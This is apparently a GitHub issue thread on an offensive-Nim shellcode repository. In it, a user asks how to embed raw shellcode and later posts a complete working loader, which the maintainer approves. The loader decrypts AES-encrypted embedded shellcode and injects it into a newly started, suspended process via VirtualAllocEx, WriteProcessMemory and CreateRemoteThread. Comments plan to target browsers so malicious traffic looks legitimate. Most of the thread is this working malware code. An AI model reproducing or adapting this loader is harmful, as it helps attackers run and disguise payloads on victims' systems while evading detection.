S3cur3Th1sSh1t / Nim_CBT_Shellcode

CallBack-Techniques for Shellcode execution ported to Nim
56 stars 4 forks source link

Hey, not an issue just wanted to reach you. #1

Closed rafale0n closed 3 years ago

rafale0n commented 3 years ago

First, thanks for all your contribution on Offensive Nim in regards to InfoSec . I am a learner on the subject who started dabbling in Offensive Nim some time ago. I have seen brilliant Marcello's work on it and trying to explore what he has shared.

My problem, I do really hope you can give me some pointers on:

What I am trying to achieve is to take a raw shellcode, "slurp" it like so:

const shellcode = slurp"payload.bin"

so it is embedded in the resources and turn it into byte arrays in Nim. This snipped of code allows me to do that:

func toByteSeq*(str: string): seq[byte] {.inline.} =
  ## Converts a string to the corresponding byte sequence.
  @(str.toOpenArrayByte(0, str.high))

Well, this sort of works. Bytes seem to correspond but there is not execution. It just does not work, I feel like I my knowledge is lacking in this area. I am thinking that I should turn it into :array[x, byte] but I am lost how I can do accomplish it.

Would you ever be so kind to point me in the right direction of how to convert:

[I, T](shellcode: array[I, T]): void =

Into Byte Seq ?

S3cur3Th1sSh1t commented 3 years ago

func toByteSeq takes a string as input. your const shellcode is not a string.

CSharpToNimByteArray.ps1 can convert your payload.bin into a nim byte array as described in Playing-with-OffensiveNim.

Otherwise you can base64 encode it, decode it at runtime to a string and afterwards use func toByteSeq.

I did not use slurp so far, so I would need to fiddle around with that myself.

rafale0n commented 3 years ago

Appreciate the quick answer. This morning I came up with the working solution to the problem I posted above. I thought I would share it, since you may want to expand on the idea and save some time roaming around the Interwebs:

# Uses quickcrypt library AES CBC to decrypt and inject the shellcode embedded in the resources

import
  quickcrypt,
  winim/lean,
  osproc

## Converts a string to the corresponding byte sequence.
func toByteSeq(str: string): seq[byte] =  
  @(str.toOpenArrayByte(0, str.high))
# The whole encryption scheme : short and brilliant !

# Slurping allows us to embed (encrypted shellcode and the decryption key) within the resources of the solution
const encrypted_shellcode = slurp"encrypted_shellcode.bin"
const decryption_key = slurp"decryption_key.txt"

# Decrypting the shellcode with provided key and turning the string into byte sequence
var decrypted_shellcode = toByteSeq(encrypted_shellcode.decrypt(decryption_key))

# Create Remote Thread routine , this is where I needed to adjust how we are passing my byteSeq:
proc injectCreateRemoteThread(shellcode: ptr, size: int): void =
    # Process to start and inject to. To do: enumarte browsers to inject to, so the traffic looks more legitimate.
    let tProcess = startProcess("lsass.exe") # Yeah, we can start lsass.exe process :)
    # That's handy!
    tProcess.suspend() 
    defer: tProcess.close()

    echo "[*] Target Process: ", tProcess.processID

    let pHandle = OpenProcess(
        PROCESS_ALL_ACCESS, 
        false, 
        cast[DWORD](tProcess.processID)
    )
    defer: CloseHandle(pHandle)

    let rPtr = VirtualAllocEx(
        pHandle,
        NULL,
        cast[SIZE_T](size),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )

    var bytesWritten: SIZE_T
    let wSuccess = WriteProcessMemory(
        pHandle, 
        rPtr,
        shellcode,
        cast[SIZE_T](size),
        addr bytesWritten
    )

    echo "[*] WriteProcessMemory: ", bool(wSuccess)
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

    let tHandle = CreateRemoteThread(
        pHandle, 
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](rPtr),
        NULL, 
        0, 
        NULL
    )
    defer: CloseHandle(tHandle)

    echo "[*] tHandle: ", tHandle
    echo "[+] Injected"

when defined(windows):
    when isMainModule:
        const sc_length: int = 941 #Set the final shellcode length. Is necessary to cast the shellcode as a pointer later. Actually this number can be any. Not that important, fix it!

        var shellcodePtr = (cast[ptr array[sc_length, byte]](addr decrypted_shellcode[0]))
        injectCreateRemoteThread(shellcodePtr, len(decrypted_shellcode))

It would be nice to hear your thoughts on that!

S3cur3Th1sSh1t commented 3 years ago

If that works I would say your problem is solved ;-) Good job.